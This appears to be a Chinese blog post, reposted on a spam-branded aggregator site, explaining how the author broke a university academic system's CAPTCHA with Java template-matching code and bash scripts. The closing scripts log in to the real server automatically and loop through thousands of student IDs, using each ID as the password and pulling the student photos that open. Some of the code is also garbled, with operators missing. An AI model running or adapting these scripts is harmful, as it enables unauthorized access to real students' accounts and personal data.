东北大学教务处编的很烂,一点鼠标键,它就着急拉慌说:"不当的拷贝会损坏您的系统".东大教务处的验证码是最简单的那一种,形同虚设,很易破解.
一.东大教务处验证码特点概述
先上几张图片,.
字符集 a-za-z0-9共26 26 10=62个字符
字符位置 四种,如果四个字符一模一样,这四个字符之间的间距是固定的,即第一个与第二个,第二个与第三个,第三个与第四个之间的距离都是一样的.
字符形状 字符形状始终是一样的,不同位置的同一字符可以通过平移来生成.
上面这些规律可以通过大量获取验证码并加以分析找出.
二.获取验证码,这是分析的材料
既可以用httpclient也可以用原生的urlconnection,这个问题比较简单,用urlconnection就足以解决了.只需要不停地访问特定链接,每次访问都会新生成验证码,这是因为没有把session存储起来,只有session相同,访问这个链接才能保持不变.
public static void main(string[] args)
throws exception {for(
int x=0;x<10;x
){download(x);}}static void download(
int x)
throws exception {url url =
new ;urlconnection connection =
url.openconnection();bufferedimage bit =
imageio.read(connection.getinputstream());imageio.write(bit, "png",
new file("img\\" x ".png"
));} 千万要注意的是,imageio.write()的第二个参数不能加点,即不能写成".png",否则文件无法保存.而这个过程也不抛出异常.
三.验证码流程概述
服务器端有一个servlet,专门用来处理验证码问题,每次访问这个servlet,它都会做两件事:生成一个字符串作为验证码,把这个字符串存储到session中,然后根据验证码字符串生成一张图片应答客户端请求.当浏览器端提交用户名,密码,验证码表单时,服务器端根据验证码是否与session中的验证码一致来决定是否进行下一步判断(用户名密码是否匹配).
所以,需要把session存储起来,以同一session去访问一个同一个验证码.即,
第一步访问尊龙游戏旗舰厅官网主页面,获取html,并把session保存起来
第二步解析html页面,找到验证码图片链接,用上面保存的那个session去访问这个链接,得到正确的验证码图片
第三步根据图片求出一个字符串,也就是验证码的破解过程.
第四步模拟提交表单,登录教务处,表单中包括用户名,密码,验证码
第五步根据登陆之后的结果(返回的html页面),去访问页面内容
用jsoup来解析html是很好的.
四.给一张图片如何识别上面的字符
给一张图片,我们所知道的就是图片上的各个像素值,即argb(在这个问题中a值一直不变,只有rgb发生变化).根据相邻点的颜色差就可以判断两个点是不是属于同一个"国家".
颜色差可以有多种计算方法:
余弦定理:rgb就相当于一个三维空间,在这个三维空间中一个颜色就表示一个点.比如两个颜色对应的点为a,b.原点用o来表示,求oa和ob的夹角,夹角小说明两种颜色相近.
欧几里得距离:rgb就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为a,b.求线段ab的长度,此长度即为两个颜色的差异,ab长度越短说明两个颜色越相近.
汉密尔顿距离:rgb就相当于一个三维空间,每个颜色对应一个点,两个颜色对应点为a,b,线段ab的距离定义为|x2-x1| |y2-y1| |z2-z1|
从左到右,从上到下扫描图片的各个像素点,给每个点标一个国家id.从一个"有国点"可以向"无国点"沿上下左右四个方向进行扩散,如果颜色差不超过某个阈值,那么有国点就可以进行领土扩张,把无国点占领,把无国点的国家id标为自己的国家id.这样一来,整个图片就被分成了许多个国家.每个国家代表一个字符.
然而,图片上是有噪音的,阈值不同会影响国家的划分,阈值的两个极端是:国家太多(一个字符被分裂成了多个国家),国家太少(整张图片就是一个国家,像纯色图片一样).
我想要获得的是:每个字符在4种位置上所对应的"点集合",通过鼠标右键点击,来作为这个国家的开始点进行扩展,几乎形成了一个字符(像扫雷一样,我点击一个点,扩展出来一大片点).这样就形成了一个字符的主体.这个主体可能是不完整的,需要通过鼠标左键来点击个别点来完善这个字符的"点集合".鼠标双击清空点集合,鼠标滚轮滚动调整颜色阈值.通过这种可视化的操作就可以生成62个字符在4个位置对应的点集合.
经过观察,同一字符在4个位置上形状是一模一样的,只是位置不一样,验证码"aaaa",每个a之间的距离是一样的,为disa,"bbbb"每个b之间的距离是一样的,为disb.发现disa=disb.
这样一来,问题转化为建立一个"数据库",为62个字符各自定义一套描述形状的"点集合".并把每个字符在4个位置的最左,最上的点的坐标记录下来.有了形状,有了位置,就可以制作验证码了!这样就可以检验一下自己的数据库是否正确.
数据库格式如下:
字符 在第一个位置的最左最上点的坐标 字符相对于它最左最上点的相对坐标(以最左最上点为原点)
知道了第一个位置上的最左最上点,就可以推出在第二,第三个位置上的最左最上点坐标.
五.应用数据库
有了数据库,就有了一套"模板".对于一个包含四个字符的验证码图片,我把这四个字符逐一破解,而不是一下子全部破解.
对于位置一上的字符,有62中可能,我就把这62个字符挨个画在图片上,必然得到一个"点集合",也就是一个"颜色值集合",也就是一个"三维向量集合".求出"三维向量集合"的标准差来,如果标准差小,说明这个字符匹配得好;标准差大,说明这个字符匹配得差.
不一定是标准差,也可以是其他的数值来描述这个"三维向量集合"的特征.最终要的结果是:能够根据"三维向量集"映射到62个字符中的一个.
六.结果
对于有些字符,比如0(零)和o(欧),它们的字形是完全一样的,遇到包含这两者的验证码时是谁都可以,但是服务器可不这么认为.
对于i和i,对于i和l,它们具有包含关系,也就是说明明是l,会识别成i.因为l所在"点集合"包括i所在"点集合",后者标准差更小,这样就造成了误判.
解决方法一是调整"三维向量集"到"数值"的映射,不要使用标准差,而是使用其它函数;
解决方法二:对得到的62个标准差就行排名,不取标准差最小值作为结果,而是一旦形成这个排名,那就选择第几名.比如l字符通常排在第二名,i排在第一名.通过检测前五名,如果前五名满足某个序列,那就放弃"最小值原则",而采取"特殊处理".
解决方法三:如果标准差相差不大,谁的面积大就选谁.对于前几名,如果第n 1名的标准差<第n名的标准差的1.3倍,这就说明二者标准差相差不大,此时如果第n 1名面积大(点多),那么就选择第n 1名.然后再把n 1名跟n 2名做如此比较.直到找到最好的为止.
main.java:用来生成"字形字位数据库"
/* 验证码图片是60*20的矩形点阵,每个点用rgb三原色表示(argb中的a始终为0xff)* 验证码有62种字符0-9,a-z,a-z* 每一个字符都有一个形状:这是一个点集合* 每个字符都有固定的位置(有四种位置,每两个相邻位置之间的距离为13格)* 这个文件用来产生数据,格式为62行,每行开头一个字符,接着第一种位置x和y,* 剩下的内容都是点集合* * 这个程序的目的是可视化的产生上述数据,通过鼠标点击,来选定点集* 鼠标左键:选定单个点* 鼠标右键:选定一个点及其附近与之相似的点* ctrl 鼠标左键:清除单个点* 空格:清空全部点* ctrl s保存当前结果到文件* * 选定一个点及其附近与之相似的点:利用颜色相似度来决定是否两个相邻点为同一个国家的公民* 如果两个相邻点颜色相近,那就把他俩看成连通的* 求出整个大图的全部连通分量* * 一开始我还准备进行噪音处理,然而效果并不理想* */
class point {int x, y;point(int x,
int y) {this.x =
x;this.y =
y;}@overridepublic int hashcode() {return x ^
y;}@overridepublic boolean equals(object obj) {point p =
(point) obj;return p.x == x && p.y ==
y;}boolean less(point p) {if (x ==
p.x)return y <
p.y;elsereturn x <
p.x;}
}class country {arraylist a = new arraylist();country() {}country(arraylist a) {this.a = new arraylist();for (point p : a) {this.a.add(new point(p.x, p.y));}}
}class go {int[][] a;int[][] ans;int[][] id;arraylist countries = new arraylist();int w, h;int[] color;static int color_dis = 55;static int noise_lower_bound = 5, noise_upper_bound = 4;public go(int[][] a) {this.a = a;w = a.length;h = a[0].length;id = new int[w][h];expand();// delnoise();
initcolor(countries.size());getans();}void cout(string s) {system.out.println(s);}void getans() {ans = new int[w][h];for (int i = 0; i < countries.size(); i ) {country c = countries.get(i);for (int j = 0; j < c.a.size(); j ) {ans[c.a.get(j).x][c.a.get(j).y] = color[i];}}}void delnoise() {country zero = countries.get(0);for (int i = countries.size() - 1; i >= 0; i--) {country c = countries.get(i);if (c.a.size() < noise_lower_bound || radius(c) > noise_upper_bound) {zero.a.addall(c.a);countries.remove(i);}}}boolean hasradius(country c, int r) {for (int i = 0; i < c.a.size(); i ) {int m = c.a.get(i).x, n = c.a.get(i).y;boolean ok = true;out: for (int j = -r; j <= r; j ) {for (int k = -(r - math.abs(j)); k <= r - math.abs(j); k ) {int x = m j, y = n k;if (legal(x, y) && id[x][y] != id[m][n]) {ok = false;break out;}}}if (ok)return true;}return false;}int radius(country c) {int r = (int) math.sqrt(c.a.size()), l = 0;while (l < r) {int m = (l r) >> 1;if (hasradius(c, m))l = m 1;elser = m;}return r;}void expand() {countries.add(new country());for (int i = 0; i < w; i ) {for (int j = 0; j < h; j ) {if (id[i][j] == 0) {countries.add(new country());go(countries.get(countries.size() - 1), i, j, countries.size() - 1);}}}}void go(country country, int fx, int fy, int cnt) {int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };id[fx][fy] = cnt;country.a.add(new point(fx, fy));for (int i = 0; i < dir.length; i = 2) {int x = fx dir[i], y = fy dir[i 1];if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < color_dis) {go(country, x, y, cnt);}}}void initcolor(int cnt) {color = new int[cnt];double per = 255.0 / math.pow(cnt, 1.0 / 3);int ci = 0;for (int i = 0; i < 255; i = per) {for (int j = 0; j < 255; j = per) {for (int k = 0; k < 255; k = per) {color[ci ] = i | j << 8 | k << 16;if (ci == cnt)return;}}}}boolean legal(int x, int y) {return x >= 0 && y >= 0 && x < w && y < h;}int dis(int x, int y) {int ans = 0;for (int i = 0; i < 3; i ) {int d = math.abs((x & 255) - (y & 255));ans = d * d;x >>= 8;y >>= 8;}ans = (int) math.sqrt(ans);return ans;}
}class data {country[] xing = new country[128];point[][] wei = new point[128][4];void save() {printwriter cout = null;try {cout = new printwriter(new file("haha.txt"));} catch (filenotfoundexception e) {e.printstacktrace();}for (char c = '0'; c <= '9'; c ) {print(cout, c);}for (char c = 'a'; c <= 'z'; c ) {print(cout, c);}for (char c = 'a'; c <= 'z'; c ) {print(cout, c);}cout.close();}void print(printwriter cout, char c) {cout.println();cout.print(c);for (int i = 0; i < 4; i )if (wei[c][i] == null)continue;elsecout.print(" " wei[c][i].x " " wei[c][i].y);if (xing[c] == null)return;for (point p : xing[c].a)cout.print(" " p.x " " p.y);}string gets(char c) {string s = "" c;for (int i = 0; i < 4; i ) {if (wei[c][i] == null) {s = " (_,_)";} else {s = " (" wei[c][i].x "," wei[c][i].y ")";}}if (xing[c] != null) {s = "====== ";for (point p : xing[c].a) {s = "(" p.x "," p.y ")";}}return s "\n";}public string tostring() {string s = "";for (char c = '0'; c <= '9'; c ) {s = gets(c);}for (char c = 'a'; c <= 'z'; c ) {s = gets(c);}for (char c = 'a'; c <= 'z'; c ) {s = gets(c);}return s;}void sort(arraylist a) {for (int i = 0; i < a.size(); i ) {for (int j = 0; j < a.size(); j ) {if (a.get(i).less(a.get(j))) {point temp = a.get(i);a.set(i, a.get(j));a.set(j, temp);}}}}void uniq(arraylist a) {for (int i = a.size() - 1; i > 0; i--)if (a.get(i).equals(a.get(i - 1))) {a.remove(i);}}void update(arraylist a) {int x = a.get(0).x, y = a.get(0).y;for (point p : a) {p.x -= x;p.y -= y;}}void set(string s, country country) {if (country == null || country.a == null)return;scanner cin = new scanner(s);string c = cin.next();if (country.a.size() == 0) {system.out.println("country.a.size() cannot be zero !!!");}if (country.a.size() == 1) {int pos = cin.nextint() - 1;wei[c.charat(0)][pos] = country.a.get(0);} else {sort(country.a);uniq(country.a);update(country.a);xing[c.charat(0)] = country;}cin.close();}
}public class main extends jframe {public static void main(string[] args) {try {uimanager.setlookandfeel(uimanager.getsystemlookandfeelclassname());} catch (classnotfoundexception | instantiationexception | illegalaccessexception| unsupportedlookandfeelexception e) {e.printstacktrace();}new main();}file[] files = new file("img").listfiles();int fileindex = 0;jpanel protopanel = new jpanel(), nowpanel = new jpanel();jtextfield txt = new jtextfield();jtextarea area = new jtextarea(6, 0);container content;int proto[][], now[][];bufferedimage protoimage, nowimage;arraylist selectedpoints;data data = new data();go go;void initcontrol() {font f = new font("ubuntu mono", font.bold, 30);txt.setfont(f);area.setfont(f);area.seteditable(false);txt.addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_enter) {data.set(txt.gettext(), new country(selectedpoints));area.settext(data.tostring());txt.settext("");selectedpoints = null;protopanelpaint();}}});}main() {loadproto();loadnow();settitle("agnomen decoder");content = getcontentpane();content.setlayout(new borderlayout());jpanel pane = new jpanel(new gridlayout());pane.add(protopanel);pane.add(nowpanel);content.add(pane, borderlayout.center);jpanel editpane = new jpanel(new borderlayout());initcontrol();editpane.add(txt, borderlayout.north);editpane.add(new jscrollpane(area), borderlayout.center);content.add(editpane, borderlayout.north);setextendedstate(maximized_both);setdefaultcloseoperation(exit_on_close);setvisible(true);protopanel.addmouselistener(new mouseadapter() {@overridepublic void mouseentered(mouseevent e) {protopanel.grabfocus();}@overridepublic void mouseclicked(mouseevent e) {double w = (double) protopanel.getwidth() / proto.length,h = (double) protopanel.getheight() / proto[0].length;int x = (int) (e.getx() / w), y = (int) (e.gety() / h);int color = proto[x][y];int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;settitle(x " " y " " r " " g " " b);if (e.getbutton() == mouseevent.button3) {selectedpoints = go.countries.get(go.id[x][y]).a;protopanelpaint();} else if (e.getbutton() == mouseevent.button1) {if (e.iscontroldown()) {if (selectedpoints == null)return;for (point p : selectedpoints) {if (p.x == x && p.y == y) {selectedpoints.remove(p);protopanelpaint();return;}}} else {if (selectedpoints == null)selectedpoints = new arraylist();selectedpoints.add(new point(x, y));protopanelpaint();}}}});nowpanel.addmousewheellistener(new mousewheellistener() {@overridepublic void mousewheelmoved(mousewheelevent e) {int x = e.getwheelrotation();go.color_dis = x;settitle(go.color_dis "");loadnow();nowpanelpaint();}});protopanel.addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_down) {fileindex = (fileindex 1) % files.length;selectedpoints = null;loadproto();loadnow();repaint();} else if (e.getkeycode() == keyevent.vk_up) {fileindex = (fileindex - 1 files.length) % files.length;selectedpoints = null;loadproto();loadnow();repaint();} else if (e.getkeycode() == keyevent.vk_s && e.iscontroldown()) {data.save();/** jframe dlg = new jframe();* //dlg.getcontentpane().setlayout(null); jtextarea area =* new jtextarea(); font f = new font("ubuntu mono",* font.bold, 30); area.setfont(f); scanner cin = null; try* { cin = new scanner(new file("data.txt")); } catch* (filenotfoundexception e1) { e1.printstacktrace(); }* string s = ""; while (cin.hasnext()) { s =* cin.nextline() "\n"; } area.settext(s);* dlg.getcontentpane().add(area);* dlg.setdefaultcloseoperation(jframe.dispose_on_close);* dlg.setsize(800, 800); dlg.setvisible(true);*/} else if (e.getkeycode() == keyevent.vk_space) {selectedpoints = null;protopanelpaint();}}});}@overridepublic void paint(graphics g) {protopanelpaint();nowpanelpaint();}void loadnow() {go = new go(proto);now = go.ans;nowimage = toimg(now);}void loadproto() {try {protoimage = imageio.read(files[fileindex]);proto = toarray(protoimage);} catch (ioexception e) {e.printstacktrace();}}int[][] copy(int[][] src) {int[][] a = new int[src.length][src[0].length];for (int i = 0; i < src.length; i ) {for (int j = 0; j < src[i].length; j ) {a[i][j] = src[i][j];}}return a;}void nowpanelpaint() {nowpanel.getgraphics().drawimage(nowimage, 0, 0, nowpanel.getwidth(), nowpanel.getheight(), null);}void protopanelpaint() {int[][] midarray = copy(proto);addcolor(midarray);bufferedimage midimg = toimg(midarray);protopanel.getgraphics().drawimage(midimg, 0, 0, protopanel.getwidth(), protopanel.getheight(), null);}void addcolor(int[][] a) {if (selectedpoints == null)return;for (point p : selectedpoints) {a[p.x][p.y] = 0xff0000;}}bufferedimage toimg(int[][] a) {bufferedimage pic = new bufferedimage(a.length, a[0].length, bufferedimage.type_int_rgb);for (int i = 0; i < pic.getwidth(); i ) {for (int j = 0; j < pic.getheight(); j ) {pic.setrgb(i, j, a[i][j]);}}return pic;}int[][] toarray(bufferedimage img) {int a[][] = new int[img.getwidth()][img.getheight()];for (int i = 0; i < img.getwidth(); i ) {for (int j = 0; j < img.getheight(); j ) {a[i][j] = img.getrgb(i, j);}}return a;}void cout(string s) {system.out.print(s);}
} testans.java:用来检验数据库是否正确
/* main.java用来生成数据* 本程序用来验证生成的数据是否正确* 其实就是从data.txt中把数据读出来,然后画一下* 用眼睛一看便知是否正确* * l和o在验证码中没出现过* 在txtfield中输入字符,按enter就可以在同一张图片上查看不同对比* */
class node {int x, y;arraylist a = new arraylist();
}public class testans extends jframe {public static void main(string[] args) {new testans();}node[] a = new node[128];char[] charset;int index = 0;int[][] nowarray = new int[60][20];jtextfield txt = new jtextfield();jpanel panel = new jpanel();void readfile() {scanner cin = null;try {cin = new scanner(new file("data.txt"));} catch (filenotfoundexception e) {e.printstacktrace();}while (cin.hasnextline()) {string s = cin.nextline();scanner sin = new scanner(s);char c = sin.next().charat(0);a[c] = new node();a[c].x = sin.nextint();a[c].y = sin.nextint();while (sin.hasnext()) {a[c].a.add(new point(sin.nextint(), sin.nextint()));}sin.close();}cin.close();}void initcharset() {string s = "";for (char c = '0'; c <= '9'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;charset = s.tochararray();}public testans() {readfile();initcharset();initnowarray("0000"); container content = getcontentpane();content.setlayout(new borderlayout());content.add(txt, borderlayout.north);txt.addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_enter) {initnowarray(txt.gettext());repaint();}else if (e.getkeycode() == keyevent.vk_up) {index--;char c = charset[index];initnowarray(c "" c "" c "" c);repaint();} else if (e.getkeycode() == keyevent.vk_down) {index ;char c = charset[index];initnowarray(c "" c "" c "" c);repaint();}}});content.add(panel, borderlayout.center);setextendedstate(maximized_both);setdefaultcloseoperation(dispose_on_close);setvisible(true);}@overridepublic void paint(graphics ggg) {graphics g = panel.getgraphics();g.drawimage(toimg(nowarray), 0, 0, panel.getwidth(), panel.getheight(), null);}void initnowarray(string s) {settitle(s);for (int i = 0; i < nowarray.length; i ) {for (int j = 0; j < nowarray[0].length; j ) {nowarray[i][j] = 0;}}for (int i = 0; i < 4 && i < s.length(); i ) {char c = s.charat(i);for (point p : a[c].a) {nowarray[p.x a[c].x i * 13][a[c].y p.y] = 0xffffff;}}}bufferedimage toimg(int[][] a) {bufferedimage pic = new bufferedimage(a.length, a[0].length, bufferedimage.type_int_rgb);for (int i = 0; i < pic.getwidth(); i ) {for (int j = 0; j < pic.getheight(); j ) {pic.setrgb(i, j, a[i][j]);}}return pic;}
} decoder.java:应用数据库,破解验证码
/* 经过main.java生成数据,testans验证数据,本程序应用数据去破解图片* 从文件夹中读取全部的图片,在窗口的标题处显示破解结果* 在窗口主体处显示原始图片* * 如何应用那些数据呢?* for循环62个字符*4个位置,如果匹配成功了,那就该字符所覆盖的点集颜色方差非常小* 所以,只要找出方差最小的字符来就可以了* i和p,k,j等字符容易混淆,n和h容易混淆,因为后者包含前者.我的解决方法是一个判断,如果方差相差不多,那就取面积大者* o和0分不清,因为这两个字符一模一样* */
class color {double r, g, b;color add(color c) {return new color(r c.r, g c.g, b c.b);}color(double d, double e, double f) {this.r = d;this.g = e;this.b = f;}color(int x) {r = x & 255;g = (x >> 8) & 255;b = (x >> 16) & 255;}public color mul() {return new color(r * r, g * g, b * b);}public color sub(color m) {return new color(r - m.r, g - m.g, b - m.b);}public color div(int size) {return new color(r / size, g / size, b / size);}public double len() {return math.sqrt(r * r g * g b * b);}
}public class decoder extends jframe {public static void main(string[] args) {if (args.length == 0)new decoder();else if (args.length == 1)new decoder(args[0]);else {system.out.println("too much arguments");system.exit(-1);}}file[] files = new file("img").listfiles();int fileindex = 0;container content;node[] a = new node[128];char[] charset;int[][] proto;void readfile() {scanner cin = null;try {cin = new scanner(new file("data.txt"));} catch (filenotfoundexception e) {e.printstacktrace();}while (cin.hasnextline()) {string s = cin.nextline();scanner sin = new scanner(s);char c = sin.next().charat(0);a[c] = new node();a[c].x = sin.nextint();a[c].y = sin.nextint();while (sin.hasnext()) {a[c].a.add(new point(sin.nextint(), sin.nextint()));}sin.close();}cin.close();}void initcharset() {string s = "";for (char c = '0'; c <= '9'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;for (char c = 'a'; c <= 'z'; c )s = c;charset = s.tochararray();}decoder(string path) {readfile();initcharset();bufferedimage img = null;try {img = imageio.read(files[fileindex]);} catch (ioexception e) {e.printstacktrace();}proto = toarray(img);system.out.println(go());}decoder() {readfile();initcharset();content = getcontentpane();setdefaultcloseoperation(exit_on_close);setextendedstate(maximized_both);setvisible(true);addkeylistener(new keyadapter() {@overridepublic void keypressed(keyevent e) {if (e.getkeycode() == keyevent.vk_down) {fileindex = (fileindex 1) % files.length;repaint();} else if (e.getkeycode() == keyevent.vk_up) {fileindex = (fileindex - 1 files.length) % files.length;repaint();}}});}@overridepublic void paint(graphics g) {try {bufferedimage img = imageio.read(files[fileindex]);proto = toarray(img);g.drawimage(img, 0, 0, content.getwidth(), content.getheight(), null);settitle(go());} catch (ioexception e) {e.printstacktrace();}}string go() {double sizeratio = 3.47;string ans = "";for (int i = 0; i < 4; i ) {char minc = 'l';double mindx = double.max_value;for (char c : charset) {arraylist s = a[c].a;color m = new color(0), n = new color(0);for (point p : s) {int x = p.x a[c].x i * 13, y = p.y a[c].y;m = m.add(new color(proto[x][y]));n = n.add(new color(proto[x][y]).mul());}n = n.div(s.size());m = m.div(s.size());double nowdx = n.sub(m.mul()).len();system.out.println(c " " nowdx);/** this condition is very important ! different condition can* generate different result !*/if (nowdx < mindx && !(mindx < nowdx * sizeratio && s.size() < a[minc].a.size())|| nowdx < mindx * sizeratio && s.size() > a[minc].a.size()) {// if (nowdx < 1500 && s.size() > a[minc].a.size()) {mindx = nowdx;minc = c;}}ans = minc;}return ans;}int[][] toarray(bufferedimage img) {int a[][] = new int[img.getwidth()][img.getheight()];for (int i = 0; i < img.getwidth(); i ) {for (int j = 0; j < img.getheight(); j ) {a[i][j] = img.getrgb(i, j);}}return a;}
} 为了像使用脚本一样使用java,我把.class文件生成到临时文件夹中,编译完之后立马执行.
#!/bin/bash
test -e $1 || { echo 'file does not exist !';exit 2; }
src=$1
shift
name="${src%.*}"
type="${src##*.}"
dir=`pwd`
dir="/tmp/${dir_}"
case $type injava)path="$dir/$name.class"compile="javac -d $dir $src"run="java -cp $dir $name $@";;cpp)path="$dir/$name.out"compile="g $1 -o $dir/$name.out"run="$dir/$name.out $@";;*)echo "unknown file type "exit 1
esac
if test ! -d "$dir" ;then #echo 'mkdir...compiling...'mkdir "$dir" && $compile && $run
elif test ! -f $path -o $path -ot $src ;then #echo 'compiling...' $compile && $run
else $run
fi 写一个脚本试试验证码破解的正确率,eog调用图片查看命令
#!/bin/bash
home="202.118.31.197"
url="http://$home/actionvalidaterandompicture.appprocess?id=0"
while true;dowget -o /dev/null -o 'agnomen' $url./ja decoder.java 'agnomen'eog 'agnomen'
done 使用curl命令进行请求服务器并调用java代码破解验证码,然后模拟登陆.
function cout(){echo -e "\033[31m$@\033[0m"
}
function translate(){ iconv -f "$1" -t utf-8 "$2" -o "$2"
}
usr='20124003'
usr="$1"
passwd='weidiao'
passwd="$2"
home="202.118.31.197"
url="http://$home"
find "$home" -type f -exec rm {} \;wget -o /dev/null --keep-session-cookies --save-cookies='cookie' -p $url
pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o 'actionvalidaterandompicture.appprocess?id=[0-9,.]*'`
x=`./ja decoder.java "$home/$pic"`
data="webuserno=$usr&password=$passwd&agnomen=$x"
wget -o /dev/null -o "aao.html" --keep-session-cookies --load-cookies='cookie' --post-data=$data "$url/actionlogon.appprocess?mode="
translate "gb2312" "aao.html"
grep "frameset" "aao.html" || { cout "login failed"; exit 1; }
cout "login successful !"
#exit 0echo =======================
wget -o /dev/null --keep-session-cookies --load-cookies='cookie' -p "http://202.118.31.197/actionfindstudentinfo.appprocess"
stuinfo="$home/actionfindstudentinfo.appprocess?mode=1&showmsg="
translate "gbk" "$stuinfo"
cat "$stuinfo" 终于到了收获的季节,查看一下有多少人学号跟密码是一回事(没法破解密码,破解密码只能通过暴力方式),验证码是不用手动填的,我同学的学号都是递增的数字序列.
#!/bin/bash
i=20121234
while test $i -lt 20123990 ;doecho $i./haha.sh $i $i && eog "202.118.31.197/actiondspuserphoto.appprocess"i=$((i 1))
done
总结
以上是尊龙游戏旗舰厅官网为你收集整理的东大教务处验证码破解的全部内容,希望文章能够帮你解决所遇到的问题。
如果觉得尊龙游戏旗舰厅官网网站内容还不错,欢迎将尊龙游戏旗舰厅官网推荐给好友。